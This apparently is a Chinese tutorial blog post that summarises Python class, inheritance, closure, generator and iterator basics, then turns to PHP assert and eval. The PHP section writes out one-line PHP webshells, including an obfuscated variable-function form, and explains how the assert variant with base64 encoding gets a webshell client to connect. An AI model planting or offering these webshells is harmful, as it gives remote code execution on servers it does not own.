python语法知识点总结以及assert和eval的成功与失败

一.python语法知识点

构造函数

构造函数也被称为构造器,当创建对象的时候第一个被自动调用的函数,系统默认提供了一个无参的构造函数 per = Person()
语法:
def __ init__(self,arg1,arg2,…):
函数体

说明:
之前的写法中并没有显示的定义一个个构造函数,所以系统默认提供了一个无参的构造函数
arg1,arg2,…可以自己定义,但是,一般情况下,构造函数的形参列表和成员变量有关
构造函数的特点:创建对象;给对象的成员变量赋值
构造函数和成员函数之间的区别:
1.成员函数的函数名可以自定义,但是,构造函数的函数名是固定的__init__
2.成员函数需要被手动调用,但是,构造函数在创建对象的过程中是自动被调用的
3.对于同一个对象而言,成员函数可以被调用多次,但是,构造函数只能被调用一次

类与对象的理解与封装特性

类:可以理解是一个模板,通过它来创建出无数个具体的实例;类是抽象一类事物的总称,
对象:类时不可以直接使用的,需要通过类创建的实例才能使用,这个实例也就是对象。
属性:类中的所有变量称为属性
方法:类中的所有函数通常叫做方法

# 定义类的语法结构
class 类名称(object):
    def __init__(self, 属性列表):
        初始化属性
    def 方法名称(self):
        方法的操作代码
# 使用类来创建对象
变量名称 = 类名称(属性值)

在这里插入图片描述
类的方法有三种
1.类方法,通过装饰器@calssmethod进行修饰。
2.静态方法,通过装饰器@staticmethod进行修饰。
3.实例方法,属于方法类型的函数。
各个方法之间的功能差异
1.这三种方法的可以获取类的属性和变量范围不同,具体区别如下:
2.类方法:不能获取构造函数定义的变量,可以获取类的属性。
3.静态方法:不能获取构造函数定义的变量,也不可以获取类的属性。
实例方法:既可以获取构造函数定义的变量,也可以获取类的属性值。
各个方法的调用格式
1.类方法:有两种调用方式,a.类名.类方法名 b.实例化调用
2.静态方法:有两种调用方式,a.类名.静态方法名 b.实例化调用
.3实例方法:见名知意,也许命名就是告诉大家,它只能通过实例化进行调用,事实也是。
类的私有属性与私有方法

类的私有属性:
    __private_attrs:两个下划线开头,声明该属性为私有,
    不能在类地外部被使用或直接访问。
    在类内部的方法中使用时 self.__private_attrs。
类的方法:
    在类的内部,使用 def 关键字来定义一个方法,与一般函数定义不同,
    类方法必须包含参数 self,且为第一个参数,self 代表的是类的实例。
    self 的名字并不是规定死的(因为是形参),也可以使用 this,但是最好还是按照约定是用 self。
类的私有方法
    __private_method:两个下划线开头,声明该方法为私有方法,只能在类的内部调用 ,
    不能在类地外部调用。self.__private_methods。

继承

继承就是让类和类之间产生父子关系,子类可以拥有父类的静态属性和方法。继承就是可以获取另外一个类的静态属性或者普通方法,(并非所有成员)。
在Python中,新建的类可以继承一个或者多个父类,父类又可以称为基类或者超类,新建的类称为派生类或子类。

'''单继承和多继承简单定义'''
class Parent1:
    pass
class Parent2:
    pass
class Sub1(Parent1): #单继承
    pass
print(Sub1.__bases__)  # 查看自己的父类---->(<class '__main__.Parent1'>,)
class Sub2(Parent1,Parent2): # 多继承
    pass
print(Sub2.__bases__)    # 查看自己的父类---->(<class '__main__.Parent1'>, <class '__main__.Parent2'>)

类继承功能
类解决对象与对象之间代码冗余的问题,子类可以遗传父类的属性
继承解决的是类与类之间代码冗余的问题
object类丰富了代码的功能
多继承的优缺点
优点:子类可以同时遗传多个父类的属性,最大限度的重用代码
缺点:违反人的思维习惯,一个人有两个爹,代码的可读性会变差,不建议使用多继承,如果不可避免多个父类的继承,应该使用 Mixins机制 参考
继承表达的是一种“是”什么关系
继承中子类和父类的概念
父类:用于被继承的类,称之为父类,又叫做基类或者超类。
子类:继承其他类的类,称为子类,又叫派生类
继承的作用
提高代码的重用率
4.查看继承的父类
格式:类名.bases
注意:
(1).Python3中如果一个类没有继承任何类,默认继承odject类,这种类叫做新式类。
(2).object类,是Python中的祖宗,所有的类都是从object类中继承下来的。

方法的覆写
子类中定义了和父类中想同的方法,我们叫做方法的重写(派生方法)。实例对子那个调用此方法的时候就会调用自己类中的方法了。
super()
子类和父类有相同的方法,如果子类想调用父类相同的方法。可以使用super()方法。
在Python3中子类执行父类的方法也可以直接用super方法—>super()
super默认省略了两个参数,第一参数是类名,第二参数是self。两个参数可以省略不传递例如super(Student,self)
super()还可以从类的外部使用,需要传递类名(本类的名称)和对象名
例如 :super(Student,student)
格式:父类类名.方法名称(self).方法名称()或者()super(本类类名,对象名)
init()方法
子类继承父类,如果子类不复写父类的init()方法,创建子类对象的时候自动调用父类init()方法
子类继承父类,如果子类复写了父类的init()方法,创建子类对象的时候不会自动调用父类init()方法
注意:Python要求复写父类的init()方法时,要调用父类的init()。因为存在隐患,例如父类的初始化方法有参数,子类初始化无参数,子类在调用父类的参数的时候就会报错

闭包

python中的闭包从表现形式上定义(解释)为:如果在一个内部函数里,对在外部作用域(但不是在全局作用域)的变量进行引用,那么内部函数就被认为是闭包(closure)。

>>>def addx(x):
>>>    def adder(y): return x + y
>>>    return adder
>>> c =  addx(8)
>>> type(c)
<type 'function'>
>>> c.__name__
'adder'
>>> c(10)
18

如果在一个内部函数里:adder(y)就是这个内部函数,
对在外部作用域(但不是在全局作用域)的变量进行引用:x就是被引用的变量,x在外部作用域addx里面,但不在全局作用域里,
则这个内部函数adder就是一个闭包。

列表生成式

列表生成式是Python内置的非常简单却强大的可以用来创建list的生成式。
列表生成式的结构是在一个中括号里包含一个表达式,然后是一个for语句,然后是0个或多个for或者if语句。列表表达式可以是任意的,意思是你可以在列表中放入任意类型的对象。返回结果将是一个新的列表,在这个以if和for语句为上下文的表达式运行完成之后产生。

语法:  [元素  for循环  if语句]
说明:   元素和for循环不能省略,但是,if语句可以省略

fff = [x if x % 2 == 0 else -x for x in range(1,10)]
print(fff)
>>>[-1, 2, -3, 4, -5, 6, -7, 8, -9]

生成器

生成器是python中的一个对象(按照某种规律,来生成元素的对象),生成器不是列表,保存了产生元素的算法,同时会记录游标的位置(现在拿到第几个元素了),为了下次继续拿数据,而不是从头开始拿数据。可以通过一直调用next()方法获取值,这个对象不保存数据,每次调用会返回一个值,即做到了列表的好处,又不占用空间。
将列表[]改为()即可称为生成器
只要把一个列表生成式的[]改成(),就创建了一个generator
generator保存的是算法
每次调用next(g),就计算出g的下一个元素的值,
直到计算到最后一个元素,没有更多的元素时,抛出StopIteration的错误
一直用next调用,一定不是一个好办法,我们需要用for来调用
for可以将StopIteration处理
因为生成器也是一个可迭代对象

我们可以用列表推导(生成式)来初始化一个列表:
list5 = [x for x in range(5)]
print(list5)   #output:[0, 1, 2, 3, 4]
用类似的方式来生成一个生成器,只不过我们这次将上面的[ ]换成( ):
gen = (x for x in range(5))
print(gen) 
#output: <generator object <genexpr> at 0x0000000000AA20F8>
看到上面print(gen) 并不是直接输出结果,而是告诉我们这是一个生成器。
调用这个gen有两个方式:
#1
for item in gen:
    print(item)
#output:
0
1
2
3
4
#2
print(next(gen))#output:0
print(next(gen))#output:1
print(next(gen))#output:2
print(next(gen))#output:3
print(next(gen))#output:4
print(next(gen))#output:Traceback (most recent call last):StopIteration

迭代器

迭代是python中访问集合元素的一种非常强大的一种方式。迭代器是一个可以记住遍历位置的对象,因此不会像列表那样一次性全部生成,而是可以等到用的时候才生成,因此节省了大量的内存资源。迭代器对象从集合中的第一个元素开始访问,直到所有的元素被访问完。迭代器有两个方法:iter()和next()方法。
类似于list、tuple、str 等类型的数据可以使用for …… in…… 的循环遍历语法从其中依次拿到数据并进行使用,我们把这个过程称为遍历,也称迭代。python中可迭代的对象有list(列表)、tuple(元组)、dirt(字典)、str(字符串)set等。
可迭代对象,可以被for循环的数据-----迭代器iter(),iter(),-------生成器 yield [] ()
生成器就是一种迭代器
可以被next调用并不断返回下一个值的对象称为迭代器:iterator

it = iter([1,2,3,4])

while True:
    try:
        res = next(it)
        print(res)
    except StopIteration as e:
        break
>1
>2
>3
>4

二.assert和eval

1.assert和eval的异同点

相同点:二者都可以执行PHP语句。只不过是,eval规范更加严格一些,必须符合PHP代码要求。而assert则没有那么严格,执行PHP表达式即可。并不是对assert无计可施,可以采用assert_option()来进行对assert的控制。但是在生产环境强烈建议不使用assert函数(哪怕对其限制,也并不安全)。
不同点
eval():该函数对于在数据库文本字段中供日后计算而进行的代码存储很有用。(在生产中也建议少用)
注意:1.eval()里必须是字符串;2.eval()里的引号必须是双引号,因为单引号不能解析字符串里的变量$str;
eval定义和用法:
(1)eval() 函数把字符串按照 PHP 代码来计算(计算=执行)。
(2)该字符串必须是合法的 PHP 代码,且必须以分号结尾。
(3)如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
在程序的运行过程中调用assert()来进行判断表达式,遇到false时程序也是会继续执行的,这在生产环境中这样使用是不好的,而 在开发调试环境中,却是一种debug的不错的方式。特别是用上callback的方法,可以知道具体的出错信息。所以,php的官方文档里头是建议将assert用来进行debug,我们可以发现还有一个开关ASSERT_ACTIVE可以用来控制是否开启debug。

2.assert和eval的案例

一句话木马<?php @eval($_POST['2']); ?>虽然可以实现,很容易被发现。
在这里插入图片描述
但是当我们把代码使用拼接的方式时<?php $_POST['1']($_POST['2']); ?>却发现提示返回数据为空
在这里插入图片描述
虽然逻辑上这样的拼接方式按道理最后输出的也还是<?php @eval($_POST['2']); ?>,但是eval是一个语言构造器而不是一个函数,不能被可变函数调用。
PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。
eval其实并不能算是‘函数’,而是PHP自身的语言结构,如果需要用‘可变’的方式调用,需要自己构造,类似这样子的:

<?php
function eval_1($str)
{
   eval($str);
}
 
$a='eval_1';
$a('phpinfo()');
?> 

我们把连接密码换成 1=assert&2 编码器换成base64时连接成功
在这里插入图片描述
但是我们把编码器换成default时还是会提示返回数据为空
在这里插入图片描述
这是因为我们的eval函数中参数是字符,assert函数中参数为表达式 (或者为函数),比如

assert(eval(echo 1;));//类似这样
1=assert
2=eval(base64_decode())
$_POST['1']($_POST[2])
assert(eval(base64_decode))

我们多了一个eval函数,实质上我们是在执行assert(eval()),所以是可以执行的。
assert(‘adsadasdsadasdasdsa’) 里面只有字符串
assert(eval(base64dddddd)); 里面有eval函数
牢记

eval函数中参数是字符,如:
eval('echo 1;');
assert函数中参数为表达式 (或者为函数),如:
assert(phpinfo()) 
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

朵拉不会敲代码

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值